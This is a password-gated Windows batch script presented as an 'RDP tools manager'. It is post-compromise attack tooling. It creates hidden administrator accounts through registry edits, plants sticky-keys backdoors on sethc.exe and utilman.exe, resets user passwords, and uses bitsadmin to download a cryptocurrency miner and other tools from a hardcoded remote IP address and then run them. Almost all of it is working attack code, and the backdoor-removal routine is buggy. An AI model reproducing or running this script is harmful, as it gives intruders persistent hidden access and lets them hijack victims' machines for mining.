protector.bat

@echo off
color 40
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000                    FUCK YOU                    000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000                ENTER THE PASSWORD              000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000                 ?MAET MAET MAET               000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
set/p "pass=>"
if NOT %pass%== volta66!! goto shutdown
ECHO OFF
CLS
COLOR 40
:NAME
ECHO.
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000                   ?2018 MAET                  000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000                RDP TOOLS MANAGER               000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000                   ?2018 MAET                  000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000                                                000000000000000
echo 000000000000000000000000000000000000000000000000000000000000000000000000000000
ECHO.
COLOR 40
:MENU
ECHO.
ECHO.
ECHO 1  -  MAKE ADMIN HIDDEN USER
ECHO 2  -  CHANGE PASSWORD
ECHO 3  -  CREATE STICKY KEY BACKDOOR
ECHO 4  -  DELETE STICKY KEY BACKDOOR
ECHO 5  -  SHOW SYSTEM INFO
ECHO 6  -  GO TO CMD
ECHO 7  -  MINING
ECHO 8  -  REMOVEPROGRAM

ECHO.
ECHO.
COLOR

SET /P COM=WHAT COMMAND DO YOU WANT ?  :


IF %COM% == 1 GOTO USER
IF %COM% == 2 GOTO PASS
IF %COM% == 3 GOTO BACK
IF %COM% == 4 GOTO BACKDEL
IF %COM% == 5 GOTO INFO
IF %COM% == 6 GOTO SETP
IF %COM% == 7 GOTO MINING
IF %COM% == 8 GOTO REMOVEPROGRAM

:USER
SET /P USER=PLEASE ENTER USERNAME :
SET /P PASS=PLEASE ENTER PASSWORD :
NET USER %USER% %PASS% /ADD
NET LOCALGROUP ADMINISTRATORS /ADD %USER%
REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v %USER% /t REG_DWORD /d 0
PAUSE
CLS
GOTO NAME

:PASS
ECHO.
NET USER
ECHO.
SET /P USER1=PLEASE ENTER YOUR WANTED USERNAME :
SET /P PASS1=PLEASE ENTER YOUR WANTED PASSWORD :
NET USER %USER1% %PASS1%
PAUSE
CLS
GOTO NAME

:BACK
SET /P BACKD=DO YOU WANT TO CREATE STICKY BACK DOOR ? (5 TIMES SHIFT) {Y/N} :
IF %BACKD% == Y REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "protector.bat" /f
IF %BACKD% == Y REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v "Debugger" /t REG_SZ /d "protector.bat" /f
ECHO DONE
PAUSE
IF %BACKD% == N PAUSE
CLS
GOTO NAME

:BACKDEL
SET /P BACKDEL=DO YOU WANT TO DELETE STICKY BACKDOOR ? {Y/N} :
IF %BACKD% == Y REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "protector.bat" /f
IF %BACKD% == Y REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v "Debugger" /t REG_SZ /d "protector.bat" /f
ECHO DONE
PAUSE
IF %COM% == N PAUSE
CLS
GOTO NAME


:INFO
ECHO.
ECHO 1 - DXDIAG
ECHO 2 - SYSTEM INFO (DOS)

SET /P INFOP=ENTER 1 OR 2 :

IF %INFOP% == 1 START DXDIAG
ECHO WAIT FEW MOMENTS
IF %INFOP% == 2 SYSTEMINFO

ECHO.
PAUSE
GOTO NAME

:SETP
CD %WINDIR%
MD winrs
CD %WINDIR%
ECHO.
start cmd.exe
CLS
GOTO NAME


:MINING
ECHO.
ECHO 1 - STATUS
ECHO 2 - LAUNCH
ECHO 3 - DOWNLOAD MINER (not for 2k3)
ECHO 4 - DOWNLOAD TOOLS (not for 2k3)


SET /P INFOP=ENTER 1 TO 4 :

IF %INFOP% == 1 tasklist /FI "IMAGENAME eq winrs.exe"
ECHO.
IF %INFOP% == 2 c:\programdata\winrs\12.exe
ECHO.
IF %INFOP% == 3 bitsadmin.exe /transfer "JobName" http://200.170.213.169/00/winrs.exe C:\winrs.exe
IF %INFOP% == 3 GOTO NAME
ECHO.
IF %INFOP% == 4 bitsadmin.exe /transfer "JobName"  http://200.170.213.169/00/tools.exe C:\tools.exe
IF %INFOP% == 4 GOTO NAME

ECHO.
PAUSE
GOTO NAME

:REMOVEPROGRAM
ECHO.
start control appwiz.cpl
CLS
GOTO NAME